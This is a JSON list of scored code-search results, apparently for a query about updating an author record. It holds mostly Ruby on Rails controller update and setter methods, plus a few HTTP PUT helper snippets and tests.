[ { "docid": "031a01369268f61e1338c112ecf3466a", "score": "0.6612991", "text": "def update_author(id, data)\n #FIXME: Author controller doesnt receive data\n return @client.raw(\"put\", \"/content/authors/#{id}\", nil, data)\n end", "title": "" }, { "docid": "27db3cd2f3e1210998a900188dfda53d", "score": "0.6480686", "text": "def update\n standard_update_record_response @author, params[:author]\n end", "title": "" }, { "docid": "c0859970d21b4e7b6acff038750fd4b5", "score": "0.6379021", "text": "def update\n @name_author = NameAuthor.find(params[:id])\n\n respond_to do |format|\n if @name_author.update_attributes(params[:name_author])\n flash[:notice] = 'NameAuthor was successfully updated.'\n format.html { redirect_to(@name_author) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @name_author.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b61f3ecc4a873b990cd42bfe3569278", "score": "0.6369945", "text": "def update\n\n respond_to do |format|\n if @author.update_attributes(params[:author])\n format.html { redirect_to(@author, :notice => 'Author was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @author.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63526a8df3f304e6a0f197ce6e99e0dc", "score": "0.629086", "text": "def update\n @author = Author.find(params[:id])\n\n respond_to do |format|\n if @author.update(author_params)\n flash[:notice] = 'Author was successfully updated.'\n format.html { redirect_to(@author) }\n format.xml { head :ok }\n else\n format.html { render action: 'edit' }\n format.xml { render xml: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00a56af3d72dffeb13c9983b02a24fb9", "score": "0.6245133", "text": "def update\n @author = Author.find_by(url: params[:id])\n\n respond_to do |format|\n if @author.update_attributes(author_params)\n format.html { redirect_to(@author, :notice => 'Author was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @author.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1196c21347affa2a44fc6d644ec90a9c", "score": "0.6215203", "text": "def update_article(article)\n xml = get_xml\n\n article.abstract = xml.css('abstract').text\n\n xml.css('contrib[contrib-type=author]').each do |node|\n first_name, middle_name = node.css('given-names').text.split(' ')\n article.add_author(\n first_name,\n middle_name,\n node.css('surname').text\n )\n end\n\n article.save\n end", "title": "" }, { "docid": "4fa4719b9c53d641a23501fe08d0dffb", "score": "0.61871636", "text": "def update\n @author = Author.find(params[:id])\n\n render json: @author\n end", "title": "" }, { "docid": "7dcf61d28367255f0ec9cea7ade341de", "score": "0.6146746", "text": "def update(id, name=\"Updated Name\", published=\"false\", genre=\"movie\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <id type='integer'>#{id}</id>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "title": "" }, { "docid": "ceeb7db4cf733d0c13a374e4d4ab9c17", "score": "0.60745895", "text": "def set_api_v1_author\n @api_v1_author = Author.find(params[:id])\n end", "title": "" }, { "docid": "23d8632d15b80084f1867b4d900f7f4c", "score": "0.60433656", "text": "def set_authors\n @autors = Author.find(params[:id])\n end", "title": "" }, { "docid": "38979984bdedacd95706689e25f09f9e", "score": "0.59976876", "text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.5990559", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "c04df23d6a2d1fd39a7c033519f95f2b", "score": "0.59758246", "text": "def update\n @author = Author.find(params[:id])\n\n respond_to do |format|\n if @author.update_attributes(params[:author])\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42a42788c73b16fab610e0c7356294b3", "score": "0.59388626", "text": "def update\n if @author.update(author_params)\n render json: @author, status: :ok\n else\n render json: @author.errors, status: :unprocessable_entity \n end\n end", "title": "" }, { "docid": "bedb2b6b9614215f22ea84dc0603fa88", "score": "0.5929395", "text": "def update\n @author = Author.find(params[:id])\n\n respond_to do |format|\n if @author.update_attributes(params[:author])\n format.html { redirect_to @author, notice: 'author was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e3a1d7880221d5a4b4ec24bbda4346d3", "score": "0.5922074", "text": "def update\n respond_to do |format|\n if @author.update_attributes(params[:author])\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c801a23aeb9d0950dfb32b461f6a82fd", "score": "0.59201705", "text": "def update\n @author = Author.find(params[:id])\n\n respond_to do |format|\n if @author.update_attributes(params[:author])\n format.html { redirect_to painel_author_path(@author), :notice => 'Author was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @author.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2c9e5363fe478aa25d2cff033275bae", "score": "0.58922017", "text": "def update\n if @author.update(author_params)\n render :show, status: :ok, location: @author\n else\n render json: @author.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "23b5f5e4dacfb330cb1e0ffd4590ef63", "score": "0.58647555", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end", "title": "" }, { "docid": "a6b0211f559ede52a03c7b2565d02f67", "score": "0.57947916", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to authors_url, notice: I18n.t(:changes_updated_successfully) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f3ea3b027038bb931a901fbb5412c58", "score": "0.5770354", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afca5c6c5c09ce3a08911a2b8aab47a5", "score": "0.5767074", "text": "def update\n @author = Author.find(params[:id])\n if @author.update_attributes(params[:author])\n render \"create\"\n else\n render \"form\"\n end\n end", "title": "" }, { "docid": "e2e55a6ecb4c00b7fe18a670cc021207", "score": "0.5752257", "text": "def put_entry(id,summary)\n xml = <<DATA\n <entry xmlns=\"http://purl.org/atom/ns#\">\n <summary type=\"text/plain\"></summary>\n </entry>\nDATA\n\n doc = REXML::Document.new(xml)\n doc.elements['/entry/summary'].add_text(summary)\n\n # REXML -> String\n data=String.new\n doc.write(data)\n\n #make request\n path=\"/atom/edit/#{id}\"\n req=Net::HTTP::Put.new(path)\n req['Accept']= 'application/x.atom+xml,application/xml,text/xml,*/*',\n req['X-WSSE']= @credential_string\n\n #YHAAAA!!!\n res = @http.request(req,data)\n return res\n end", "title": "" }, { "docid": "12a0a16cc1cd1faa38b03eeb711ec48f", "score": "0.57417864", "text": "def author1(node, suffix, xml)\n role = node.attr(\"role#{suffix}\")\n role = nil if role == \"author\"\n author_attributes = {\n fullname: node.attr(\"author#{suffix}\") || node.attr(\"fullname#{suffix}\"),\n surname: node.attr(\"lastname#{suffix}\"),\n initials: node.attr(\"forename_initials#{suffix}\"),\n role: role,\n }\n\n xml.author **attr_code(author_attributes) do |xml_sub|\n organization node, suffix, xml_sub\n address node, suffix, xml_sub\n end\n end", "title": "" }, { "docid": "f04be051e3c6d03a19c155c07689e5e9", "score": "0.5731232", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: 'Author was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d2e2331377a24633e50897ac5e65eba", "score": "0.57256943", "text": "def update\r\n @title = Title.find(params[:id])\r\n # create_author(params[:q],params[:r])\r\n\r\n # if @author != nil\r\n\t respond_to do |format|\r\n\t\t\tif @title.update_attributes(params[:title])\r\n\t\t \t# @author.titles << @title unless @author.titles.include? @title\r\n\t\t\t\t# if params[:checks] != nil\r\n\t\t\t\t\t# params[:checks].each do |s|\r\n\t\t\t\t\t\t# if @title.authors.count > 1\r\n\t\t\t\t\t\t\t\t# @title.authors.delete(Author.find_by_id(s))\r\n\t\t\t\t\t\t# end\r\n\t\t\t\t\t# end\r\n\t\t\t\t# end\r\n\t\t # @author = nil\r\n\t\t\t\tformat.html { redirect_to(@title, :notice => 'Title was successfully updated.') }\r\n\t\t\t\tformat.xml { head :ok }\r\n\t\t\telse\r\n\t\t\t\tformat.html { render :action => \"edit\" }\r\n\t\t\t\tformat.xml { render :xml => @title.errors, :status => :unprocessable_entity }\r\n\t\t\tend\r\n\t end\r\n\t # else\r\n\t\t\t# respond_to do |format|\r\n\t\t\t\t# flash.now[:error] = 'Author name not valid'\r\n\t\t\t\t# respond_to do |format|\r\n\t\t\t\t\t# format.html { render :action => \"edit\" }\r\n\t\t\t\t# end\r\n\t\t\t# end\r\n\t\t# end\r\n end", "title": "" }, { "docid": "8e18db431964c254de53caa41795b702", "score": "0.5700652", "text": "def put *args\n make_request :put, *args\n end", "title": "" }, { "docid": "a21658e8869b48b877bfbe57de8fb717", "score": "0.5692211", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.put(\n url,\n { Contact: { email: \"wacky_new_email@coolstuff.com\" } } )\n \nend", "title": "" }, { "docid": "2381baf2ab7d632a64083f7ae25e6fe2", "score": "0.5682318", "text": "def update\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n if @owner.update_attributes(params[:owner])\n flash[:notice] = 'Owner was successfully updated.'\n format.html { redirect_to(@owner) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @owner.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c080de7cbdc921abfecc938771904371", "score": "0.568019", "text": "def update\r\n respond_to do |format|\r\n if @archive.update(archive_params)\r\n @archive.after_save params[:authors], params[:archive][:file]\r\n format.html { redirect_to @archive, notice: 'Archive was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @archive }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @archive.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a288bdc252cb3bd51ffa134ed66cc11b", "score": "0.56479114", "text": "def test_author_update\n person = Author.find_by_id(authors(:second).id)\n person.occupation = Occupation.find_by_name('Writer')\n assert person.save\n end", "title": "" }, { "docid": "49889996a4b193fb0d777b63bd550295", "score": "0.5645666", "text": "def update\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n if @owner.update_attributes(params[:owner])\n format.html { redirect_to(@owner, :notice => 'Owner was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @owner.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e97d28bbbc9bc03290d188b1aa4ea43", "score": "0.56373537", "text": "def update\n @autor = Autor.find(params[:id])\n \n respond_to do |format|\n if @autor.update_attributes(params[:autor])\n flash[:notice] = ''\n format.html { redirect_to(autors_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @autor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37e3bcd5c60fe321471c330d327f4a2d", "score": "0.56179434", "text": "def update\n @paper = Paper.find(params[:id])\n msg = @paper.update_authors(params[:people])\n unless msg.blank?\n flash[:error] = msg\n redirect_to :action => 'edit'\n return \n end\n \n respond_to do |format|\n if @paper.update_attributes(params[:paper])\n flash[:notice] = 'Paper was successfully updated.'\n format.html { redirect_to(papers_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @paper.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fa734c4b529ac6300a64dd392d498e5", "score": "0.5615619", "text": "def update\n @author = Author.find(params[:id])\n\n @author.assign_attributes(params[:author])\n\n add_missing_translation_content(@author.author_translations)\n\n respond_to do |format|\n if @author.save\n format.html { redirect_to admin_authors_path, notice: t('app.msgs.success_updated', :obj => t('activerecord.models.author')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b5f844f00382c5cbddfbed6f94a05da", "score": "0.561186", "text": "def update\n @autor = Autor.find(params[:id])\n\n respond_to do |format|\n if @autor.update_attributes(params[:autor])\n flash[:notice] = ''\n format.html { redirect_to(autors_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @autor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5bc4845d66ebae004e2a2d1330dced2", "score": "0.56116307", "text": "def set_v1_author_book\n @v1_author_book = V1::AuthorBook.find(params[:id])\n end", "title": "" }, { "docid": "0b3573b5cb88b33824a276a14a51d388", "score": "0.56111616", "text": "def update\n respond_to do |format|\n\n @author.updated_by = get_user_id\n\n if @author.update(author_params)\n format.html { redirect_to authors_url, notice: '作者情報を更新しました。' }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94126e673a60d0bcf0500518ac2d2e31", "score": "0.56049377", "text": "def update_authorship!(saving=false)\n url = \"https://#{Settings::ARXIV_HOST}/a/#{author_identifier}.atom2\"\n doc = Nokogiri(open(url))\n doc.css('entry id').each do |el|\n uid = el.text.match(/arxiv.org\\/abs\\/(.+)/)[1]\n uid = Arxiv.strip_version(uid)\n unless authorships.where(paper_uid: uid).exists?\n logger.info \"New paper published by #{username}: arxiv/#{uid}\".light_green\n authorships.create(paper_uid: uid)\n end\n end\n\n self.papers_count = Authorship.where(user_id: id).count\n self.save! unless saving\n end", "title": "" }, { "docid": "651bc860091d5fc498ef5d9deadb8b8d", "score": "0.5602542", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document]) and @document.author.update_attributes(params[:author])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81797b0bcd92b1065992a10847670bb0", "score": "0.5591366", "text": "def update\n @name = Name.find(params[:id])\n @title = \"Taxonomy - Organism\"\n\n respond_to do |format|\n if @name.update_attributes(params[:name])\n format.html { redirect_to(@name, :notice => 'Name was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @name.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "debb0a082d62d57c1aa440786597898d", "score": "0.5584987", "text": "def update\n @user_author = UserAuthor.find(params[:id])\n\n respond_to do |format|\n if @user_author.update_attributes(params[:user_author])\n format.html { redirect_to @user_author, notice: 'User author was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d23a09dd7f0969ce39c05edda67f4ee3", "score": "0.5584071", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @book.update(book_params)\n\t\t\t\tformat.html { redirect_to @book, notice: 'Book was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\t@authors = Author.all()\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @book.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "a67d77918fe1ab8377b3fe459701c489", "score": "0.5581873", "text": "def test_update_external_author\n user = create_user\n external_author = create_external_author(:user => user, :email => 'afsfds@gmail.com')\n @request.session[:user] = user\n put :update, :user_id => user.login, \n :id => external_author.id, \n :external_author => { :do_not_email => 'true' }\n assert_redirected_to user_external_authors_path(user)\n end", "title": "" }, { "docid": "882c8317370987b86425c0adbf5bfe8c", "score": "0.5571566", "text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "10d475102dc148e2069a0fafd569f7f0", "score": "0.55665505", "text": "def destroy\n @name_author = NameAuthor.find(params[:id])\n @name_author.destroy\n\n respond_to do |format|\n format.html { redirect_to(name_authors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b60a145f2564431673d79827c7a45eee", "score": "0.55531174", "text": "def author(node, xml)\n author1(node, \"\", xml)\n i = 2\n loop do\n suffix = \"_#{i}\"\n author = node.attr(\"author#{suffix}\")\n fullname = node.attr(\"fullname#{suffix}\")\n break unless [author, fullname].any?\n author1(node, suffix, xml)\n i += 1\n end\n end", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.5543186", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "23c292acb79f5b11495206c5febee8b0", "score": "0.5541991", "text": "def update\n @autor = Autor.find(params[:id])\n\n respond_to do |format|\n if @autor.update_attributes(params[:autor])\n flash[:notice] = 'Autor was successfully updated.'\n format.html { redirect_to(@autor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @autor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "45eb51e634eb4293532ec679fe89f964", "score": "0.55409926", "text": "def destroy\n @author = Author.find(params[:id])\n @author.destroy\n\n respond_to do |format|\n format.html { redirect_to(authors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "05eb2940c2c398e2d0e3f754ffc9d11b", "score": "0.5538418", "text": "def update\n @artist = Artist.find(params[:id])\n\n respond_to do |format|\n if @artist.update_attributes(params[:artist])\n \n format.html { redirect_to(@artist) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @artist.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbab6756139a23cdcffb79e9375c8ebd", "score": "0.5537221", "text": "def update\n @consortium = Consortium.find(params[:id])\n\n respond_to do |format|\n if @consortium.update_attributes(params[:consortium])\n format.html { redirect_to(@consortium, :notice => 'Consortium was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @consortium.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ee5b52d77caea56b984ac0449fa943e", "score": "0.55362165", "text": "def destroy\n @author.destroy\n\n respond_to do |format|\n format.html { redirect_to(authors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "eeb2404ce47bbd7bd1b4b5e69441e5e0", "score": "0.553439", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "eeb2404ce47bbd7bd1b4b5e69441e5e0", "score": "0.553439", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "eeb2404ce47bbd7bd1b4b5e69441e5e0", "score": "0.553439", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "eeb2404ce47bbd7bd1b4b5e69441e5e0", "score": "0.553439", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "eeb2404ce47bbd7bd1b4b5e69441e5e0", "score": "0.553439", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "8c41bdb93bdbe4790217eeb07eafc48a", "score": "0.5523027", "text": "def update\n @authorbook = Authorbook.find(params[:id])\n\n respond_to do |format|\n if @authorbook.update_attributes(params[:authorbook])\n format.html { redirect_to @authorbook, notice: 'Authorbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @authorbook.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "769c1011be28a85104a6cd45e76c3f35", "score": "0.5513358", "text": "def update\n @author = Author.find(params[:id])\n if @author.update_attributes(params[:author])\n redirect_to authors_path, notice: \"Author aupdated successfully\"\n else\n render :edit\n end\n end", "title": "" }, { "docid": "833e877b1d5ba6bdec6e5db5b8ab305e", "score": "0.5512771", "text": "def update\n @author = Author.find(params[:id])\n\n if @author.update_attributes(params[:author])\n redirect_to(session[:edit_redirect], :flash => {:success => 'Author was successfully updated.'})\n else\n flash[:error] = \"There was a problem updating the author.\"\n render :action => \"edit\"\n end\n end", "title": "" }, { "docid": "0810e059eda439a5b98c34ddcff39b2d", "score": "0.5508866", "text": "def set_author\n @author = Author.find(params[:id]) \n end", "title": "" }, { "docid": "8ad3f091d9d0a4d0d45579fe1b907658", "score": "0.54964954", "text": "def update\n authorize! @contributor\n\n @contributor.update_attributes(contributor_params)\n\n head 204\n end", "title": "" }, { "docid": "8ad3f091d9d0a4d0d45579fe1b907658", "score": "0.54964954", "text": "def update\n authorize! @contributor\n\n @contributor.update_attributes(contributor_params)\n\n head 204\n end", "title": "" }, { "docid": "99d24a74bc96db3bd84b0451ef3afb5f", "score": "0.54916346", "text": "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "title": "" }, { "docid": "27096800d14893529f640b6cf4566aba", "score": "0.5489309", "text": "def update\n connection.put(\"/todo_lists/#{id}.xml\",\n \"<todo-list>\n <name>#{name}</name>\n <description>#{description}</description>\n <milestone_id>#{milestone_id}</milestone_id>\n </todo-list>\",\n XML_REQUEST_HEADERS)\n end", "title": "" }, { "docid": "8e655c3b1877357128efc696e87e6774", "score": "0.5486068", "text": "def update\n @role = Role.find_by_name(params[:name])\n\n respond_to do |format|\n @role.authorities = Authority.find_by_name(params[:authority_names])\n format.html { redirect_to(role_path(@role.name),\n :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "aa0b87a16ede7353758305dbbaf57c22", "score": "0.5483461", "text": "def put(*a) route 'PUT', *a end", "title": "" }, { "docid": "a5e18f283c176449a267e105188b7111", "score": "0.54819596", "text": "def update\n respond_to do |format|\n if @author.update(author_params)\n format.html { redirect_to @author, notice: \"User was successfully updated.\" }\n format.json { render :show, status: :ok, location: @author }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @author.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "354be2023fabacc759e8c4e79e30e556", "score": "0.5477024", "text": "def update\n respond_to do |format|\n if @consortium.update_attributes(params[:consortium])\n format.html { redirect_to(@consortium, :notice => 'Consortium was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @consortium.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0fba1bf3c5e1dc0008c27994e1dabe4", "score": "0.5472057", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "84fef81366db9035e3fb44a747f452f4", "score": "0.54711246", "text": "def create\n @author = @account.authors.find_or_initialize_by_name(params[:author])\n \n respond_to do |format|\n if @author.save\n format.json { render :json => @author, :status => :created }\n end\n end\n end", "title": "" }, { "docid": "1875388b4bafc20e429632762a09cd17", "score": "0.5460447", "text": "def update\n\t\tif @author.update_attributes(author_params)\n\t\t\tredirect_to authors_path, :notice => \"Autor #{@author.name} foi atualizado com sucesso\"\n\t\telse\n\t\t\trender :edit\n\t\tend\n\tend", "title": "" }, { "docid": "9a8dd2ef5c90154bd9e6a34e578e0ac6", "score": "0.54578334", "text": "def update\n author_id, is_new_author = get_author_id\n @book.update(book_params.merge(:author_id => author_id))\n\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Knjiga uspešno posodobljena.' }\n format.json { render :show, status: :ok, location: @book }\n else\n # if is_new_author\n # new_author = Author.find(author_id)\n # new_author.destroy!\n # end\n\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4516a426ab350b353a73662b3cf41753", "score": "0.5454314", "text": "def update\n @author = Author.find(params[:id])\n\n if @author.update(author_params)\n redirect_to author_path(@author)\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "3c3340887fddc7c4b6fcd8671af1f0c6", "score": "0.54509085", "text": "def set_author\n @author = Author.find(params[:author_id])\n end", "title": "" }, { "docid": "6a15c84e2f4d2deb6e962d18f7ae5453", "score": "0.5441185", "text": "def set_authors\n\t\t@author = Author.friendly.find(params[:id]) rescue nil\n\t\tunless @author.present?\n\t\t\tflash[:error] = \"Author not found.\"\n\t\t\tredirect_to authors_path\n\t\tend\n\tend", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def 